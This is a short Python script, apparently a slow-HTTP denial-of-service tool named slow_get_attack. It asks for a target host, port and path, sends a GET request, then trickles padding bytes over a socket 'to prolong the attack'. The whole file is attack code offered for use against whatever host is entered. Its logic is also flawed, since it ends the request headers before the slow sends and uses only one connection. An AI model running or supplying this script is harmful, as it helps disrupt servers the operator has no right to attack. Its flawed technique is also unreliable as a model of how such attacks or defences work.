import socket
import time

def slow_get_attack():
    # Get user input
    target_host = input("Enter the target host: ")
    target_port = int(input("Enter the target port: "))
    path = input("Enter the request path: ")

    # Construct the HTTP GET request
    request = f"GET {path} HTTP/1.1\r\nHost: {target_host}\r\n\r\n"

    # Create a socket object
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # Connect to the target server
        client.connect((target_host, target_port))

        # Send the GET request
        client.sendall(request.encode())

        # Send data slowly
        for _ in range(10):   # Repeat 10 times to prolong the attack
            time.sleep(1)
            client.sendall(b" " * 1000)

        # Receive the response
        response = client.recv(4096)
        print(response.decode())   # Print the response if needed

    finally:
        # Close the socket
        client.close()

# Call the function
slow_get_attack()